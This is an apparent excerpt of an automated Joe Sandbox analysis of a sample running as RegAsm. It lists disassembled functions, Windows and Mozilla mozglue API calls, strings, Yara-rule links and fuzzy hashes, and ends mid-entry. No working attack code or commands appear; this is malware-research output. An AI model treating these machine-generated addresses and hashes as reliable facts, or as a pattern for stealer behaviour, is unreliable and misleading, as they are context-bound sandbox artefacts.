free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DD44
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DD58

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Strings

[I %d/%d] locked_profiler_save_profile_to_file(%s), xrefs: 6CB8DBF2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CurrentTimefreegetenv$ProcessStampThreadV01@@Value@mozilla@@_getpidmalloc$??1ios_base@std@@?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintfmoz_xmalloc
String ID: [I %d/%d] locked_profiler_save_profile_to_file(%s)
API String ID: 3378208378-1387374313
Opcode ID: f27f3933f2edde0169dac15753d3ec05fa89fefbb6ca2e7a4323cebe95e5f4c7
Instruction ID: 11da164736329abce39e63870f4ce73c7bc9093b1dcf1ac8478dd88c5d15ad71
Opcode Fuzzy Hash: f27f3933f2edde0169dac15753d3ec05fa89fefbb6ca2e7a4323cebe95e5f4c7
Instruction Fuzzy Hash: DF81D1746017818FCB24DF25D494AAAB7F1FF89308F54892ED85B87B51DB30E909CB52

Function 6CB90000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB90039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB90041
GetCurrentThreadId.KERNEL32 ref: 6CB90075
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB90082
moz_xmalloc.MOZGLUE(00000048), ref: 6CB90090
free.MOZGLUE(?), ref: 6CB90104
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB9011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6CB9005B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: ddcbea0cd46bd0c461ab34e1c227ee93d4f02c051d974d81447f7ada734d35b1
Instruction ID: d0ddf33079991cf74d99459163b7e63a708c7eead363ac8c325d3bb78df7a29b
Opcode Fuzzy Hash: ddcbea0cd46bd0c461ab34e1c227ee93d4f02c051d974d81447f7ada734d35b1
Instruction Fuzzy Hash: 44418C75A006959FCB20CF64D840A9EBBF5FF4A318F40492DE95A93B50D731A914CBA2

Function 6CB57E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB57EA7
malloc.MOZGLUE(00000001), ref: 6CB57EB3

Part of subcall function 6CB5CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CB5CB49
Part of subcall function 6CB5CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CB5CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CB57EC4
mozalloc_abort.MOZGLUE(?), ref: 6CB57F19
malloc.MOZGLUE(?), ref: 6CB57F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB57F4D

Strings

d, xrefs: 6CB57F89

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 3bd0ac2497ac06363658f1bb4f4d279ff68912233e006d5c719a424716d7c4e0
Instruction ID: 0235c92eaa03814cb42f338ef4e5092255eb1c3cf68b52f892227d5146f2d24b
Opcode Fuzzy Hash: 3bd0ac2497ac06363658f1bb4f4d279ff68912233e006d5c719a424716d7c4e0
Instruction Fuzzy Hash: C831F361E007C897EB01DB38DC455FEB778EF96208F449228ED496B612FB31A698C391

Function 00418260 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(0141AB20,00000000,00000000,00000000), ref: 00418295
GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
ReleaseDC.USER32(00000000,?), ref: 004182C2
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
wsprintfA.USER32 ref: 004182F0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

%dx%d, xrefs: 004182E7

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction ID: 994268d552e07794471dd3910f4d3ddbdeb6f1ac9b11d1c79e25ca2fe4432fdb
Opcode Fuzzy Hash: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction Fuzzy Hash: 492130B1A40608AFDB10DFA4DC45FAEBBB9FB48710F104119F605A7290C779A901CBA5

Function 6CB53E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CB53EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB53FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CB54006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB540A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB53CCC), ref: 6CB540AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB53CCC), ref: 6CB540C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB54134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CB53CCC), ref: 6CB54143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CB53CCC), ref: 6CB54157

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0db3d8d80bb38cba33086ab33b3e137f36ddfecdcce087fe667705d4b37e5ced
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 81A181B1A40255CFDB40CF28C880659B7F5FF48318F694599D909AF742D772E866CFA0

Function 6CB42030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CB63F47,?,?,?,6CB63F47,6CB61A70,?), ref: 6CB4207F
memset.VCRUNTIME140(?,000000E5,6CB63F47,?,6CB63F47,6CB61A70,?), ref: 6CB420DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CB63F47,6CB61A70,?), ref: 6CB4211A
EnterCriticalSection.KERNEL32(6CBCE744,?,6CB63F47,6CB61A70,?), ref: 6CB42145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CB63F47,6CB61A70,?), ref: 6CB421BA
EnterCriticalSection.KERNEL32(6CBCE744,?,6CB63F47,6CB61A70,?), ref: 6CB421E0
LeaveCriticalSection.KERNEL32(6CBCE744,?,6CB63F47,6CB61A70,?), ref: 6CB42232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CB42253, 6CB42268
MOZ_CRASH(), xrefs: 6CB4227D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: cc80416df070f15927e89b880390fd78ef84bf621ebd14e33b8bd31882aefbb7
Instruction ID: 09d1e52ce55ba7f5d9cd54917740982c2c44a56277f34f4724cd267275bd282b
Opcode Fuzzy Hash: cc80416df070f15927e89b880390fd78ef84bf621ebd14e33b8bd31882aefbb7
Instruction Fuzzy Hash: ED61B531F04296CFDB04CA68C889B6E77B5EF99314F198139E524E7B98D7709900E793

Function 6CB448E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CB8483A,?), ref: 6CB44ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CB8483A,?), ref: 6CB44AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CB8483A,?), ref: 6CB44A82

Part of subcall function 6CB5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB5CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CB8483A,?), ref: 6CB44A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CB8483A,?), ref: 6CB44A35

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CB8483A,?), ref: 6CB44A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CB8483A,?), ref: 6CB44AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CB8483A,?), ref: 6CB44B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CB8483A,?), ref: 6CB44B2C

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: adc5657930ddf1a3ae082645c874cd26ee340de3f7e6dd8b7ff45f1341db509a
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 76717AB19047869FCB54CF68C480AAAB7F5FF08308B508A3ED15ADBB41E731E565DB80

Function 6CB99D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB98273), ref: 6CB99D65
free.MOZGLUE(6CB98273,?), ref: 6CB99D7C
free.MOZGLUE(?,?), ref: 6CB99D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB99E0F
free.MOZGLUE(6CB9946B,?,?), ref: 6CB99E24
free.MOZGLUE(?,?,?), ref: 6CB99E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB99EC8
free.MOZGLUE(6CB9946B,?,?,?), ref: 6CB99EDF
free.MOZGLUE(?,?,?,?), ref: 6CB99EF5

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 19f66d2a126e51d404686eaf65a74a2a2a8d73482c4c8ea486b93aceda256b00
Instruction ID: 2dce72e42eeab00bb28e1adbfc80d68f5784daee01acb3c7045c8b5b4b3359d1
Opcode Fuzzy Hash: 19f66d2a126e51d404686eaf65a74a2a2a8d73482c4c8ea486b93aceda256b00
Instruction Fuzzy Hash: 76718E70909B818FDB52CF19C48055BF3F4FF9A315B449629E85E5BB12EB30E889CB81

Function 6CB9DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB9DDCF

Part of subcall function 6CB7FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB7FA4B

Part of subcall function 6CB990E0: free.MOZGLUE(?,00000000,?,?,6CB9DEDB), ref: 6CB990FF
Part of subcall function 6CB990E0: free.MOZGLUE(?,00000000,?,?,6CB9DEDB), ref: 6CB99108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB9DE0D
free.MOZGLUE(00000000), ref: 6CB9DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB9DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB9DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB9DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB8DEFD,?,6CB54A68), ref: 6CB9DF32

Part of subcall function 6CB9DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB9DB86
Part of subcall function 6CB9DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB9DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB8DEFD,?,6CB54A68), ref: 6CB9DF65
free.MOZGLUE(?), ref: 6CB9DF80

Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2fced8999f05b6bbde7f56eb655b6cc3ddb2838d8c9e7de15d4620a1f7d0d3f
Instruction ID: c97a1e27c6e6eff38e741f3debabe4eb8ce7e8a6b990abc7d728b8c8597e0956
Opcode Fuzzy Hash: f2fced8999f05b6bbde7f56eb655b6cc3ddb2838d8c9e7de15d4620a1f7d0d3f
Instruction Fuzzy Hash: E751A676601A809BDF119B3AE8807AEB376BF97308F95053CD51A53B01D731B919CB92

Function 6CB9AB90 Relevance: 13.6, APIs: 9, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB9ABB4
AcquireSRWLockExclusive.KERNEL32(6CB54A63), ref: 6CB9ABC0
ReleaseSRWLockExclusive.KERNEL32 ref: 6CB9AC06
GetCurrentThreadId.KERNEL32 ref: 6CB9AC16
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9AC27
ReleaseSRWLockExclusive.KERNEL32 ref: 6CB9AC66
free.MOZGLUE(?), ref: 6CB9AD19
free.MOZGLUE(00000000), ref: 6CB9AD2B
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6CB9AD38

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree$Xbad_function_call@std@@
String ID:
API String ID: 2167474191-0
Opcode ID: 549aae8c948870457ea6effb149faa667ea80cf4051a5918a186eda94e1e3689
Instruction ID: e478a12de2105048a90cb601b84b8be193fba2b2b9d202cc6dff1b4417f7deb2
Opcode Fuzzy Hash: 549aae8c948870457ea6effb149faa667ea80cf4051a5918a186eda94e1e3689
Instruction Fuzzy Hash: 4F514774A00B458FC724DF25C48876ABBF5FF8A714F204A2DD8AA87B50DB30B948CB41

Function 6CB9CB30 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000000,00000002,00000040,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CB52
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CB82
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CBA4
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CBC4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CBE9
std::_Facet_Register.LIBCPMT ref: 6CB9CBFB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CC20
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,6CB9BCAE,?,?,6CB8DC2C), ref: 6CB9CC65

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 3ca091282e4aeb8856b2c80d6069630f459bc49f4d61a0b4b247b894c6f042f5
Instruction ID: e732d9f33d2604f03b27c6f3c9a37f789a4476613d6144a5ae0b7bc0cb3a032f
Opcode Fuzzy Hash: 3ca091282e4aeb8856b2c80d6069630f459bc49f4d61a0b4b247b894c6f042f5
Instruction Fuzzy Hash: F04193707002498FDB00EF65C898AAD77B5EF4A354F144078D5099B751DB35ED05CFA1

Function 6CBA5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5DC9
std::_Facet_Register.LIBCPMT ref: 6CBA5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CBA5C8C,?,6CB7E829), ref: 6CBA5E45

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 2210116c10973382dabc4768ba1c78d26b46e0783ce51f9dd5102d9af81f4d44
Instruction ID: 7fa6f04cc147206bfe31b65e2e95a79f88bef2d58f8a92765f3480acaac1dc55
Opcode Fuzzy Hash: 2210116c10973382dabc4768ba1c78d26b46e0783ce51f9dd5102d9af81f4d44
Instruction Fuzzy Hash: 3A4182307042559FCB10DFA5C898EAE77B9EF89318F144068E54A9B791DB30EE0ACF65

Function 6CB7CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CB431A7), ref: 6CB7CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB7CFA4, 6CB7CFB8
